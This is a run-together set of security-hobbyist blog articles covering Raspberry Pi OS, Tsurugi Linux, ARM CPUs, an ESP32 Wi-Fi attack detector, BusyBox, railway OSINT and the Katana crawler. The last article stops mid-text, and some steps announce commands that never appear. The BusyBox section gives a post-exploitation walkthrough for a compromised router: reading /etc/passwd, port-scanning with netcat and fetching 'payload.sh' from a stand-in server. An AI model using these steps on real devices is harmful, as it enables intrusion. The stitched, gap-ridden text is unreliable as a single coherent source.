Using a Raspberry Pi board with Pi OS is a great way to jump into cybersecurity. You don’t need a lot of fancy gear to get started. Just hook it up to a TV, grab a keyboard and mouse, connect to the internet, and you’re all set with a solid system to explore Linux, programming, and hacking.
In this article, we’ll walk through how to install Raspberry Pi OS Desktop on a Raspberry Pi 4 and check out all the cool tools and features it has to offer. Let’s get rolling!
Step #1: What Is Raspberry Pi OS?
Raspberry Pi OS is the official operating system for Raspberry Pi single-board computers. It was launched back in July 2012 under the name Raspbian, which combines Raspberry Pi and Debian. The OS was created to give early users a stable Linux environment that’s tailored to the hardware’s simpler specifications.
There are three different versions of Raspberry Pi OS, each aimed at different users. The Desktop edition is the most beginner-friendly, featuring the PIXEL (Pi Improved Xwindow Environment Lightweight) desktop environment and popular apps like Chromium, and VLC. This version, requiring at least 32 GB of storage.
Raspberry Pi OS Full includes the desktop and all recommended software. It’s got everything from the regular desktop edition and some additional tools.
The Lite version is perfect for folks who prefer the command line to a graphical desktop. It’s great for servers, headless apps, and projects that need to be light on resources, giving savvy users the flexibility to tweak things just the way they like.
This article focuses on the Desktop edition, the one most new users will download first, and a perfect starting point for exploring what Raspberry Pi can do.
Step #2: Installing Raspberry Pi OS
Installing Raspberry Pi OS is pretty straightforward. First, make sure you have a Raspberry Pi, preferably models 3, 4, 5, 400, or 500 if you want the desktop version. You’ll also need a microSD card of at least 32 GB, a computer to set up the SD card, a micro-HDMI cable, and a monitor. The newer Raspberry Pi 4 and 5 use micro-HDMI, while the older models need full-size HDMI. Don’t forget about a keyboard, a mouse, and a power supply.
To install the OS on the microSD card, use the Raspberry Pi Imager. It is the official tool for creating the OS image and handles everything from downloading to writing and verifying in a single app. If you’re on Linux, open up your terminal and type:
sudo apt install rpi-imager
Once it’s running, you’ll see a screen that looks like what’s shown below.
Click on ‘Raspberry Pi Device’ and pick your model so Imager shows only the OS versions that work with your hardware.
Next, tap on ‘Operating System’.
If you’re new to this, go for ‘Raspberry Pi OS (64-bit)’ at the top since that’s the standard Desktop edition. If you want the Full edition with extra features, just scroll down to ‘Raspberry Pi OS (other)’ and pick ‘Raspberry Pi OS Full’.
After that, plug your microSD card into your computer’s card reader. Hit ‘Storage’ and select your card, making sure you’ve got the right one, since Imager will wipe everything on it. Then, click ‘Save’, then ‘Write’. Imager will download the latest OS image or use one you already have, write it to the card, and check that everything went smoothly.
Finally, once Imager gives you the green light, safely eject the card and boot into your Raspberry Pi.
Step #3: First Boot
Insert the prepared microSD card, connect the display using HDMI, plug in your USB keyboard and mouse, and then connect the power supply. The Raspberry Pi will turn on automatically when you power it up; there’s usually no separate power button on most models.
Then, the setup wizard will guide you through a few easy steps. You’ll set up your location and keyboard layout, create a new username and password to replace the default ones, connect to Wi-Fi, and you can even check for software updates before diving into the desktop.
Eventually, you’ll see a desktop that looks something like this:
The top panel has quick-access icons for the tools you use most, such as the file manager, web browser, and terminal. Click on the leftmost icon to open the application menu, which sorts all your installed software into easy categories like Programming and Internet.
By default, a limited number of apps are installed, but you can easily install additional ones through GUI app installers or the terminal.
Step #4: Key Features and Benefits
Raspberry Pi OS is different from regular Linux distributions because it’s made specifically for Raspberry Pi hardware. Everything, from the kernel to the GPU drivers, is tuned to get the best performance out of the Pi’s ARM processor and VideoCore GPU. The packages in the Raspberry Pi OS repository are compiled with specific optimizations that you won’t find in standard ARM versions of Debian or Ubuntu.
Another great thing about Raspberry Pi OS is that it’s designed to use as little memory as possible from the start. The PIXEL desktop environment, along with some basic background services, uses only about 300–400 MB of RAM at boot, leaving plenty of memory for your applications.
And finally, Raspberry Pi OS is completely free to download, install, and use with no license fees or subscription costs.
Summary
Raspberry Pi OS Desktop isn’t just a lightweight Linux version made for some weird hardware. It’s actually built specifically for the unique features and limitations of Raspberry Pi devices. You can really see this design approach in everything, from how efficiently the system runs to how well the hardware works together and even how clear the documentation is.
If you’ve gone through the article, you’re all set up to dive into learning cybersecurity. At this point, it’s a good idea to check out the Hackers-Arise Cybersecurity Starter Bundle and kick off your journey to becoming a master hacker.
Imagine this: you need to keep tabs on a sketchy person who may be involved in fraud. You’ve got some info about them and access to a laptop, ready to dive into your investigation. But as you start digging, you realize your system is missing the right tools for an OSINT investigation. Sure, you could set everything up on Kali Linux or Parrot OS, but that could take hours.
That’s where Tsurugi Linux comes in. In this article, we’ll break down what Tsurugi Linux is, how to get it installed, and what cool features it brings to the table for OSINT investigations. Let’s get rolling!
What is Tsurugi Linux
Many newcomers to open-source intelligence often turn to Kali Linux or Parrot OS as their first specialized distributions, and both are effective tools. However, neither was specifically designed for OSINT purposes. Kali Linux, for instance, is primarily an offensive penetration-testing platform. While it includes some OSINT utilities, its main focus is on exploitation rather than investigation. This is where Tsurugi Linux comes in.
Tsurugi Linux is a free and open-source Linux distribution specifically tailored for incident response and OSINT investigations. Its name, inspired by a Japanese double-bladed sword, reflects its dual emphasis on active intelligence gathering and passive forensic analysis. Tsurugi addresses the challenge of consolidating and curating over 300 specialized tools, thereby saving users the tedious process of installing and configuring each tool individually on a generic system. Instead, Tsurugi provides a pre-packaged, user-friendly environment organized by investigative categories, allowing users to become productive in just hours rather than days.
The Three Flavors of Tsurugi
Before downloading anything, it’s important to understand that Tsurugi is available in three distinct forms, each serving a specific purpose. Tsurugi Linux LAB is the full 64-bit distribution that we will focus on in this article. It includes the complete toolkit and is designed to be installed on a dedicated machine or run in a virtual machine for hands-on analysis and OSINT investigation.
Tsurugi Acquire is a lighter 32-bit version that contains only the essential tools needed for live disk acquisition.
Finally, BENTO is a portable forensics toolkit that you can carry with you and run directly from a USB device, allowing you to conduct live investigations on machines that cannot be taken away.
For getting started purposes, Tsurugi Linux LAB is your target, and you can find the latest ISO image on the official project website at tsurugi-linux.org.
How to Install Tsurugi Linux
In this demonstration, I will install Tsurugi Linux on VirtualBox. To get started, we need to download the latest ISO image from the website and create a new virtual machine based on it.
It is recommended to allocate at least 4 gigabytes of RAM and 60 gigabytes of disk space during the creation process. Once this is done, you can boot the machine. A desktop like the one shown below will welcome you.
First Look
When you boot for the first time, you will see the MATE desktop environment. The taskbar at the top offers quick access to files, an application launcher, a web browser, and a terminal emulator named Terminator.
When you open the Applications menu, you will notice a typical range of categories. Like most distributions, it includes programs for internet browsing, programming, office tasks, various media players, and other standard software that is unlikely to surprise anyone. However, our main focus is on the first item in the menu, labeled TSURUGI.
The top-level categories include OSINT, Memory Forensics, Malware Analysis, Network Analysis, and others. We will not delve into specific tools here; some have been covered in previous articles, and we will address others that haven’t been discussed yet, provided they warrant our attention.
The Tsurugi Browser
Tsurugi Linux ships with a well-known version of the Firefox browser, preinstalled with extensions.
Let’s take a look at some of them.
Tampermonkey is a browser extension that enhances your browsing experience by allowing you to run userscripts on websites. Userscripts are small programs that modify page layouts, add or remove features, and automate actions to personalize your web experience.
DNSlytics lets you retrieve information about a domain, including WHOIS data, DNS records, and more.
NoScript is a browser extension that enhances online security and privacy by blocking JavaScript, Flash, Java, and other potentially harmful content on websites, only allowing execution from sites you explicitly trust.
Additional Features of Tsurugi Linux
The developers of Tsurugi Linux have worked hard to ensure that the operating system is as versatile as possible, making it suitable for a wide range of situations. To achieve this, they have included a vast array of utilities. Notably, they have highlighted OSINT (Open Source Intelligence) as a distinct category that has received special attention.
A dedicated OSINT profile has been introduced, and you can activate it by selecting the OSINT Switcher on the desktop or in the menu. Once enabled, most sections unrelated to OSINT will be removed from the menu, leaving only the relevant options you might need. Additionally, the wallpaper will change to provide a visual indicator of the active profile, ensuring you won’t confuse it with others.
Another valuable feature is the Write Blocker. This is an extra layer of protection against any malicious activity. The external storage device, such as a USB flash drive, will only be accessible in “read-only” mode when connected. To enable writing, select the TSURUGI device unlocker on the desktop. Then, in the window that opens, select the desired device and click “Unlock.”
Summary
Tsurugi Linux is a great choice for beginners starting with OSINT or digital forensics. It provides a friendly and well-equipped environment. While it won’t make you an expert right away, it will help you learn OSINT more quickly.
If you’re looking to enhance your OSINT skills, consider exploring our OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.
The modern digital ecosystem has undergone a silent but total transformation. Every day, we interact with ARM-based processors billions of times. These chips drive almost all iOS and Android devices and are key to the significant performance improvements seen in Apple’s M-series Macs. Some lightweight notebooks, such as Chromebooks, use ARM processors. IoT devices are largely powered by ARM. Besides that, recently ARM expanded into silicon production with the Arm AGI CPU, its first production-ready silicon designed for agentic AI workloads in data centers. With this level of ubiquity in our digital world, it’s important to be familiar with ARM.
Therefore, this article serves as a foundation for learning about ARM. It delves into the architecture of ARM CPUs, covering design principles and energy efficiency. Let’s get rolling!
What is ARM?
ARM is a family of CPU designs based on a simple, efficient instruction set (RISC). It started as ‘Acorn RISC Machine’, then ‘Advanced RISC Machines’, and now it’s just called ARM.
Unlike traditional chipmakers, Arm Holdings does not manufacture physical processors. Instead, the company designs the foundational CPU architecture and licenses its intellectual property and processor cores to other hardware manufacturers (such as Apple and Nvidia).
What is an ARM-Based CPU?
ARM CPUs use a simple, efficient RISC instruction set. RISC stands for Reduced Instruction Set Computer. It represents a hardware design philosophy focused on streamlining how a processor interprets and executes software instructions.
This design philosophy stands in direct contrast to CISC (Complex Instruction Set Computer), which is the architecture utilized by traditional Intel and AMD x86 processors.
The RISC concept originated in the early 1980s, heavily influenced by research at the University of California, Berkeley. Researchers evaluating resource usage discovered that most software programs only utilized a small fraction of a processor’s complex, built-in instruction set. They realized that if they removed the highly complex, rarely used, and difficult-to-implement instructions, the remaining simpler instructions could execute much faster, while requiring significantly less physical space and power on the silicon chip. This discovery led directly to the development of early RISC designs, including the foundational Acorn RISC Machine (ARM) project in 1983.
Core Principles of RISC Design
RISC architectures use a fixed instruction width for high-speed execution. Unlike CISC architectures that have instructions of varying lengths, a modern 64-bit RISC architecture like ARM64 uses a uniform instruction size, typically 32 bits. This consistency makes it easier for the processor to identify where one instruction ends and the next starts, which helps in quickly fetching, decoding, and executing instructions.
A key feature of RISC design is its Load-Store architecture. In traditional CISC, a single instruction might perform operations directly on data in memory. In RISC, memory access and calculations are separate. In a RISC CPU, Arithmetic Logic Unit (ALU) operations only happen between registers, which are small, fast storage spaces on the processor. To work with data from memory, the processor has to first load it from RAM into a register, perform the calculation in the register, and then store the result back to memory.
To meet the needs of this Load-Store model, RISC processors have a large, uniform register file. Since data cannot be processed directly in memory, the CPU needs many registers to keep temporary data readily available. A 64-bit RISC processor usually has 31 general-purpose 64-bit registers that act as a quick local workspace.
The clear and register-focused design leads to mostly single-cycle execution and effective hardware pipelining. Because RISC instructions are straightforward and mainly work with registers, most can finish in one clock cycle. This single-cycle capability enables the processor to use an instruction pipeline. In this system, while one instruction is executed, another is decoded, and a third is fetched from memory simultaneously. This overlap helps the processor complete a new instruction nearly every clock tick, maximizing efficiency.
Feature / Approach
CISC (e.g., x86)
RISC (e.g., ARM)
Instruction complexity
Single instructions perform multiple tasks (data manipulation, memory access, arithmetic)
Breaks tasks into multiple simpler instructions
Execution example
One instruction: load → compute → store
Three separate instructions: load → compute → store
Decoding logic
Intricate and complex
Simpler, more uniform
Clock cycles per instruction
Often multiple cycles
Usually one cycle per simple instruction
Hardware requirements
Substantial hardware for decoding and execution management
Less hardware for decoding, more uniform control logic
Power & design impact
Higher power consumption and design complexity
Lower power consumption, simpler design
Optimization
Harder to optimize individual operations
Easier to optimize each step independently
Parallel execution
More difficult
Easier to achieve
Energy Efficiency
Firstly, at the core of the RISC philosophy is the use of a smaller vocabulary of simpler, fixed-length instructions. Because the CPU does not have to parse highly complex, variable-length instructions, the physical hardware required to decode and execute instructions is dramatically simplified. This simplicity results in a vastly reduced transistor count. For example, early ARM cores required only 30,000 to 35,000 transistors. Fewer transistors mean that fewer components are active during each instruction cycle, which directly lowers dynamic power consumption and dynamic leakage.
Secondly, RISC processors are designed to scale their power draw dynamically based on the active workload. Through techniques like Dynamic Voltage and Frequency Scaling (DVFS), the processor automatically lowers its operating voltage and clock speed during periods of low computational demand, conserving energy when peak performance is unnecessary. For example, microcontroller-class processors like the ARM Cortex-M series are engineered to draw almost zero power when in deep sleep states, yet they can wake up and execute tasks rapidly on demand.
Thirdly, on a system-on-chip level, modern RISC implementations leverage heterogeneous processing, such as Arm big.LITTLE and DynamIQ technologies. Instead of running all tasks on identical, power-hungry cores, the processor combines:
LITTLE cores: Tiny, ultra-efficient cores optimized to handle routine, low-intensity background tasks (like texting, email, or playing music) using minimal power.
big cores: High-performance cores designed to tackle heavy, sustained workloads (like mobile gaming or intense web browsing).
This dynamic, on-demand task allocation ensures that the high-power “big” cores are only activated when strictly necessary, maximizing overall battery life.
Apple M-series Chips
The Apple M-series chips are a group of processors made by Apple Inc. They are designed for efficient performance and are based on ARM architecture. Each chip includes a CPU, GPU, a Neural Engine for machine learning, and a unified memory system that helps improve overall efficiency.
Apple announced its move to its own M-series chips at the Worldwide Developers Conference (WWDC) on June 22, 2020. This change was from Intel’s x86 processors to ARM-based designs for better power efficiency and performance.
For example, the M1 chip offers up to 3.5 times faster CPU performance while consuming less power than Intel chips for certain tasks. This allows for high performance without generating too much heat.
The M-series chips also improve battery life. Devices often run up to 1.5 times longer than Intel-based Macs. This is due to their optimized power management. In real-world use, like watching videos or doing light work, the MacBook Air can last 15 to 18 hours, compared to the 11 to 12 hours typical of similar Intel models.
By 2026, devices like the Mac Studio and Mac Mini are using M-series CPUs to run advanced AI models directly on users’ desks. Many people are shifting away from paying for AI services and choosing local systems instead.
Summary
In this article, we discussed ARM, a CPU architecture based on RISC principles, which emphasizes simplicity and efficiency. We explained how ARM differs from x86/CISC (Intel/AMD), noting that its smaller instruction set uses fewer transistors and less power. Additionally, we looked at how ARM has impacted Apple’s M-series chips, showing gains in performance, heat management, and battery life, along with the shift toward handling AI tasks on ARM hardware.
Wireless security monitoring in the 2.4 GHz spectrum often depends on active probing, which can not only make the monitoring infrastructure vulnerable to attackers but also clutter the radio frequency environment. On the other hand, taking a passive approach by listening without transmitting allows security teams to detect malicious wireless activity more discreetly and reliably.
To put this idea into practice, the project Travel WiFi Canary was developed. This system serves as an early-warning mechanism using ESP32 microcontrollers. By operating the Wi-Fi radio in promiscuous mode, the device passively captures raw IEEE 802.11 management frames and traffic patterns. This helps identify potential threats such as deauthentication attacks, beacon spam, rogue access points often referred to as Evil Twins, and unauthorized probe requests. Eventually, it provides comprehensive insights into the wireless environment, enabling you to act proactively rather than reactively.
In this article, we will guide you through configuring, flashing, and running Travel WiFi Canary on the LilyGo T3 V1.6.1 development platform. Let’s get rolling!
What is Travel WiFi Canary?
The Travel WiFi Canary is a project that turns a low-cost ESP32 microcontroller into a passive 2.4 GHz threat-detection device. It operates continuously by alternating between active network enumeration and passive promiscuous packet capturing across specified channels.
At its core, the device’s Wi-Fi chip listens directly to raw radio signals passing through the air rather than connecting to a specific network.
When a wireless signal arrives, a fast automated responder checks the basic structure of the incoming data instantly. It identifies network management signals, such as connection requests, disconnection commands, or nearby network announcements, and separates them from standard web traffic.
To handle intense bursts of wireless activity without getting overwhelmed or missing crucial information, the chip places these flagged security signals into a temporary holding queue. This allows the main system to process and analyze the data safely in the background while keeping the hardware radio free to capture new incoming signals without interruption.
The central intelligence of the project relies on a dynamic confidence-scoring engine rather than rigid binary alerts. As the system processes the ring queues and periodic active scans, it evaluates detected anomalies against a local memory table built during the startup baseline phase.
Active scans check nearby Access Points for structural security violations. If an Access Point using an encrypted baseline protocol like WPA2 or WPA3 is detected operating without encryption, the system identifies an open clone attack. Security downgrades, unexpected vendor prefix mismatches on familiar SSIDs, or sudden disappearances of legitimate Access Points during an active open broadcast instantly contribute points to the global confidence score.
Simultaneously, the passive sniffer thread drains the lock-free queues to detect airborne attacks. Deauthentication frame floods are monitored over rolling time windows, assigning score penalties if threshold limits are breached by single sources or broadcast addresses.
The sniffer also inspects the payload fields inside beacon frames to detect Pwnagotchi signatures, parsing JSON structures hidden in vendor tags to determine if the device is operating in an active attack state.
All calculated points feed into a unified state machine. Aggregate scores between zero and two keep the device in a normal state, scores between three and five push it into a caution state, and scores of six or higher escalate the device into an active alert state.
To prevent temporary radio noise or brief packet anomalies from causing permanent alarm states, a background timer executes a score decay routine every minute. This routine gradually reduces the aggregate threat score over time, allowing the system to automatically transition back to a normal state once threat vectors clear the area. Hardware outputs, such as status LEDs or connected display controllers, continuously mirror the internal state variable to provide real-time visual monitoring.
What is LilyGo T3 V1.6.1?
The Travel WiFi Canary was initially made for the M5Stack Atom Lite development board. However, in this demonstration, I will test it on the LilyGo T3 V1.6.1.
The LilyGo T3 V1.6.1, also called the TTGO T3 LoRa32 V1.6.1, is an open-source development board designed for Internet of Things (IoT) projects and long-range RF communication. It has an ESP32 chip that allows for packet sniffing and Wi-Fi scanning. It gives us all the necessary functionality for wireless threat detection required by the Travel WiFi Canary project.
Getting Started with Travel WiFi Canary
The best way to flash the Travel WiFi Canary is by using Visual Studio Code along with the PlatformIO IDE extension. The installation process is fairly simple, so let’s move on to the next step, which is cloning the repository. I will use the modified version designed for the LilyGo T3 device. Here’s the command to do that:
Next, connect your LilyGo T3 V1.6.1 to your computer using a data-capable Micro-USB cable. In Visual Studio Code, click on the PlatformIO status bar at the bottom and select env:esp32dev. Then, you can either click the checkmark icon in the status bar or press Ctrl+Alt+B to compile the firmware.
Once that is complete, click the right arrow icon in the status bar to start the upload process. PlatformIO will automatically detect the serial port, trigger the ESP32 to enter bootloader mode via auto-reset circuitry using the DTR and RTS lines, erase the necessary flash sectors, and upload the binaries seamlessly.
After the upload is complete, you can monitor the device with the built-in command:
pio device monitor -b 115200
At this point, the state machine and scanning engine are fully operational. During its initial scan, it detected seven nearby access points, recording their SSIDs, BSSIDs, signal strengths, channels, and encryption methods in memory.
Now, let’s simulate an open clone of a known encrypted network. The README file provides the following instructions:
I created a Wi-Fi access point from my phone with the same name as the network to which my system is connected, but without a password. Let’s observe how the WiFi Canary responds.
The script successfully identified the clone and granted 4 points to the score, changing the state to caution. The rogue open clone remained active in the following 20-second scan with a strong RSSI, adding another 4 points, which brought the total score to 8 and changed the state to alert. At the 310-second mark, the decay timer activated, decreasing the score from 8 to 7. However, since the score remained above the SCORE_ALERT threshold of 6 or higher, the system continued to maintain its alert state until the threat was resolved and the score naturally decayed back to zero.
Limitations
Despite the benefits of confidence scoring in reducing unexpected alerts, the possibility of false positives still exists. This is particularly true in enterprise networks, multi-node mesh setups, and crowded public venues, which can display behaviors that resemble attack patterns. On the flip side, false negatives may arise if a skilled attacker impersonates a legitimate BSSID while carefully adjusting their transmission power to fit in with normal signal strength variations, thus evading detection.
The limitations of the physical hardware create additional coverage boundaries. Passive detection of deauthentication relies heavily on the distance from the receiving device, meaning that low-power or far-off transmitters may be beyond the reach of the antenna. Furthermore, monitoring is confined solely to the 2.4 GHz spectrum, leaving the 5 GHz and 6 GHz bands completely unmonitored.
Lastly, the design of the radio architecture leads to a temporary gap in scanning whenever the chip switches between promiscuous packet sniffing and active environment scanning, resulting in a three-second blind spot where airborne deauthentication bursts can go unnoticed.
Summary
For many travelers and remote workers, understanding whether the Wi-Fi around them is secure is crucial. Private messages and sensitive information can be easily compromised when malicious actors set up fake hotspots or disrupt local connections. A device like the Travel WiFi Canary can continuously monitor the airwaves and alert you the moment a wireless attack is detected.
This device uses active Wi-Fi scanning and passive signal listening to find threats in real time. It constantly checks nearby networks against a trusted standard to spot fake open hotspots, duplicate routers, or security issues. At the same time, it listens for harmful activities like deauthentication attacks or rogue scanning tools. When it detects a threat, it raises a danger level with an internal scoring system and triggers a clear visual alarm. This alerts you immediately, giving you a warning before your devices may face any risk.
If you’re interested in improving your knowledge of wireless security, take a look at our Wi-Fi Hacking training. This course will guide you on how to assess the security of wireless networks and equip you with modern strategies to protect them effectively.
To be able to hack the Internet of Things(IoT), smart home, smart TV, IP camera, VPN, routers and other such devices, the more you understand of Linux, the more success you will have. Nearly all of these devices use embedded Linux with tiny small kernels. The most popular of these embedded, tiny kernel Linuxes is BusyBox.
BusyBox sees itself as the Swiss Army Knife of Embedded Linux. It is a software component that combines tiny versions of many Unix utilities into a single binary.
In this article, we’ll explore what BusyBox is, its benefits and drawbacks, and how to get started using it on Kali Linux. Let’s get rolling!
What is BusyBox?
BusyBox is a lightweight software suite that combines many common Unix utilities into a single small executable file. Rather than having separate executables for each command like ls, cp, mv and tar, BusyBox packages all these utilities into one binary. When executed, BusyBox determines which tool to run based on how it was invoked, either through symbolic links or command-line arguments.
Typically weighing in at under 1MB, BusyBox can provide implementations of over 300 Unix utilities, including file operations, text processing tools, network utilities, system administration commands, and shell functionality. While these implementations are simplified compared to their full-featured GNU counterparts, they maintain compatibility with standard Unix command syntax for most common operations.
History and Development
BusyBox was created in 1996 by Bruce Perens as part of the Debian GNU/Linux installer. The original motivation was to create a rescue disk that could fit on a single floppy disk while still providing essential Unix tools.
1.44 MB Floppy disk
The project gained significant momentum when it was adopted by embedded Linux developers who faced similar space constraints in their target devices. As embedded systems proliferated in the late 1990s and early 2000s, BusyBox became increasingly important for devices with limited flash memory and RAM.
Over the years, BusyBox has been maintained by various developers, with Erik Andersen taking over development in the early 2000s and later Denys Vlasenko becoming the primary maintainer. The project has remained active and continues to evolve, with regular updates that add new utilities, improve compatibility, and enhance performance.
The development philosophy has remained consistent throughout its history: provide maximum functionality with minimum resource usage while maintaining reasonable compatibility with standard Unix tools.
Benefits and Advantages
BusyBox offers several compelling advantages that have made it a cornerstone of embedded Linux systems:
Space Efficiency: The most obvious benefit is BusyBox’s incredibly small footprint. By sharing code between utilities and eliminating redundant functionality, it achieves dramatic space savings compared to installing individual tools separately. A typical BusyBox installation might occupy less than 1MB while providing functionality equivalent to tens of megabytes of traditional utilities.
Memory Optimization: Beyond storage savings, BusyBox also conserves RAM by sharing common code paths between utilities. This is particularly valuable in embedded systems where memory is often severely constrained.
Simplified Deployment: Having all essential utilities in a single binary simplifies system deployment and reduces the complexity of dependency management. This is especially valuable in embedded systems where minimizing the number of moving parts is crucial for reliability.
Consistent Behavior: While individual GNU utilities may have different compilation options or versions across systems, BusyBox provides consistent behavior across deployments, which can reduce compatibility issues.
Customizability: BusyBox can be configured to include only the specific utilities needed for a particular application, allowing for even greater space optimization. This modular approach lets developers create highly specialized systems.
Performance: For many common operations, BusyBox utilities can actually outperform their full-featured counterparts due to their streamlined implementations and reduced overhead.
Why Hackers Should Care?
Portability: BusyBox works on almost any Linux or Unix-like system.
Minimal Footprint: Perfect for custom hacking distros, bootable USBs, or CTFs.
Essential for Embedded Targets: Many IoT devices and routers run BusyBox by default—knowing it helps you exploit or secure them
Stealth: BusyBox can be statically compiled and dropped onto a target for post-exploitation, giving you a full set of tools even on stripped-down systems.
Where BusyBox is Used
Domain
Examples / Usage
Embedded Systems
Used in router firmware, smart TVs, automotive infotainment, and industrial control systems. Brands: Linksys, Netgear, D-Link.
Container Environments
Alpine Linux (used in Docker containers) uses BusyBox as the default CLI toolkit to reduce image size and resource usage.
IoT Devices
Incorporated into low-power Internet of Things devices to provide essential system functions with minimal resource usage.
Recovery & Rescue Systems
Used in Linux rescue disks and recovery tools to offer a full Unix environment in limited space. Continues the legacy from the Debian installer.
Mobile Devices
Found in Android recovery mode and mobile Linux distributions for maintenance and emergency operations.
Educational Systems
Used on devices like the Raspberry Pi in educational environments for its simplicity and low resource footprint.
Essential BusyBox Commands for Hackers
Here’s a quick reference to some of the most useful BusyBox applets for hacking and pentesting
Command
Purpose
ls
List files and directories
cp
Copy files
mv
Move/rename files
rm
Remove files
cat
View file contents
grep
Search for patterns in files
awk
Pattern scanning and processing
sed
Stream editor for filtering and transforming text
vi
Text editor
wget
Download files from the web
nc
Netcat for networking
ifconfig
Configure network interfaces
ps
List running processes
kill
Send signals to processes
sh
Shell (ash)
Getting Started with BusyBox on Kali Linux
First, verify that BusyBox is installed on your Kali system:
kali> busybox –help
BusyBox can be invoked in several ways. The most straightforward method is to call it directly with the desired utility as an argument:
kali> busybox ps aux
To see all utilities available in your BusyBox installation:
kali> busybox –list
In hacking/penetration testing scenarios, BusyBox utilities can be particularly useful:
Network reconnaissance: Use busybox nslookup or busybox ping for basic network discovery
File operations: busybox find, busybox grep, and busybox awk for log analysis and file searching
System analysis: busybox ps, busybox netstat, and busybox top for system monitoring
Text processing: busybox sed and busybox cut for parsing command output
Security Considerations and Notable Attacks
While BusyBox itself is generally well-maintained and secure, its widespread deployment in embedded systems has made it a target for various security concerns:
Firmware Vulnerabilities: Many security incidents involving BusyBox have actually been related to vulnerabilities in the surrounding firmware or system configuration rather than BusyBox itself. However, because BusyBox is so commonly used in embedded devices, it often becomes part of the attack surface.
IoT Botnets: Several large-scale IoT botnets, including variants of Mirai, have targeted devices running BusyBox. These attacks typically exploit weak default credentials or unpatched vulnerabilities in the broader system rather than BusyBox-specific flaws.
Supply Chain Concerns: Because BusyBox is embedded in so many devices, vulnerabilities in BusyBox can have far-reaching consequences.
Configuration Issues: Many security problems arise from mis-configurations or the inclusion of unnecessary utilities that expand the attack surface. The modular nature of BusyBox, while beneficial for customization, requires careful consideration of which utilities to include.
The embedded nature of many BusyBox deployments can make security updates challenging, as end users often cannot easily update the firmware on their devices. This has led to situations where known vulnerabilities persist in deployed devices long after fixes are available.
Real-World Example
Suppose you’ve gained shell access on a router that runs BusyBox. Here’s how you might use it to enumerate the system and pivot further, you could;
bash# List users
busybox cat /etc/passwd
# Check network interfaces
busybox ifconfig
# Scan for open ports (if netcat is available)
busybox nc -zv 127.0.0.1 1-1024
# Download a script or tool
busybox wget http://yourserver/payload.sh
# Get a shell
busybox sh
Summary
As computing continues to diversify into edge devices, IoT systems, and resource-constrained environments, BusyBox remains as relevant as ever. Its combination of small size, comprehensive functionality, and proven reliability ensures its continued importance in the embedded Linux ecosystem.
If you’re curious about how tools like BusyBox power the tech world and want to learn Linux yourself, now’s a great time to begin. Take a look at our Linux Basics for Hackers Bundle — it’s a practical, beginner-friendly way to learn Linux.
Railways are probably the most talkative piece of infrastructure in the world. Unlike military installations or closed networks, most railway data is deliberately published in the open: timetables, track diagrams and network lengths. All of this exists to serve passengers, logistics companies, and researchers, but that same data turns out to be a powerful OSINT resource for transport infrastructure analysts and security researchers alike.
In this article, I will walk through a set of open tools that let you investigate the rail infrastructure of almost any country, from a static map of the tracks to the real-time position of a single train. Let’s get rolling!
Why This Matters
A rail network is the physical backbone of a country’s logistics, covering passenger traffic, freight corridors, border crossings, and industrial sidings. For an analyst, it is a source of information about the network’s topology, meaning which lines connect where, which stations act as junctions, and which branches simply end. It also reveals capacity and traffic load, since it shows how many trains actually run on a given route. Beyond that, it exposes concrete infrastructure objects such as stations, depots, marshalling yards, and industrial spur lines. Finally, it can show real-time dynamics, meaning where a specific train or tram happens to be right now.
Each tool described below covers a different slice of this picture. Together they form a fairly complete stack for railway OSINT.
This is a derivative project of OpenStreetMap dedicated entirely to railway infrastructure. The map displays tracks broken down by electrification, gauge, and number of tracks, along with signaling equipment and speed limits through its Maxspeed layer. It also shows stations, platforms, depots, and switches, and includes an operations layer that reveals which operator a given section of track belongs to.
This is a catalog of floor plans for European railway stations. It is useful when you need to understand the internal layout of a specific hub, including platform positions, exits, and interchange points with other transport modes.
For an OSINT analyst, this is a natural complement to satellite imagery. A floor plan shows what you cannot see from above, such as platform numbering, service access points, and staff-only zones.
This is an online tracker that shows the live movement of trains and public transport across most of Europe, tied to the published timetable. On the map, you can see the current position of a service, its train number and rolling stock type, and any delays relative to schedule.
This is a crowdsourced directory of public transport routes covering trams, trolleybuses, buses, and metro systems in cities worldwide. It is not strictly a railway resource, but it is valuable for analyzing the last mile, meaning how passengers actually get from a station into the city, and for understanding how a rail network integrates with the rest of urban transport.
Step 6: City Population, network length statistics
This is a statistical resource showing total railway track length broken down by country and region.
Summary
Rail infrastructure is one of the few types of critical infrastructure where states and operators voluntarily publish an enormous amount of detailed open data, simply because passengers need it. For an analyst that means a combination of free maps, trackers, and directories can produce a picture rivaling that of commercial geospatial analytics products. All it takes is knowing which tool covers which layer of the data.
If you’re looking to enhance your OSINT skills beyond just using this tool, consider exploring OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.
Welcome back, aspiring cyberwarriors and bug bounty hunters!
When we work with web applications, we often need to effectively crawl and spider them to understand what we’re dealing with. But the main problem we might encounter is that a target web app is an SPA, or single-page application. This means that the website loads a single HTML file initially and dynamically updates the content within that page as the user interacts with it. Therefore, traditional crawling tools become ineffective with modern web applications.
To work with modern JavaScript frameworks, single-page applications, and sophisticated authentication mechanisms, we can use the Katana framework from ProjectDiscovery. Katana is a web crawler that allows you to discover hidden paths, parameters, and endpoints in web applications. It’s fast, modular, and supports multiple crawling techniques.
One of the most impressive aspects of Katana is its ability to handle JavaScript execution and dynamic content rendering. Traditional crawlers often miss critical functionality because they cannot execute JavaScript or understand how modern web applications dynamically generate content. Katana addresses this limitation by incorporating headless browser capabilities that allow it to fully render pages, execute JavaScript, and discover content that would otherwise remain hidden.
Let’s explore how to download, install, and utilize this powerful reconnaissance tool to enhance your web application security testing capabilities.
Installing Katana
There are few methouds of installing the tool. In this article, I’ll focus on installing using Go programming language.
First, verify if Go is already installed:
kali> go version
Install Katana using the Go package manager:
kali> go install github.com/projectdiscovery/katana/cmd/katana@latest
Verify the installation:
kali> katana -version
Crawling Modes
Katana supports two main crawling modes, each tailored to different types of web applications and use cases.
The Standard Mode is designed for speed and simplicity, making it ideal for traditional websites. It uses Go’s built-in HTTP library to handle requests and responses, parsing raw HTTP response bodies without executing JavaScript or rendering the DOM. This lightweight approach ensures fast performance but may miss endpoints in more complex applications that rely on browser-based events.
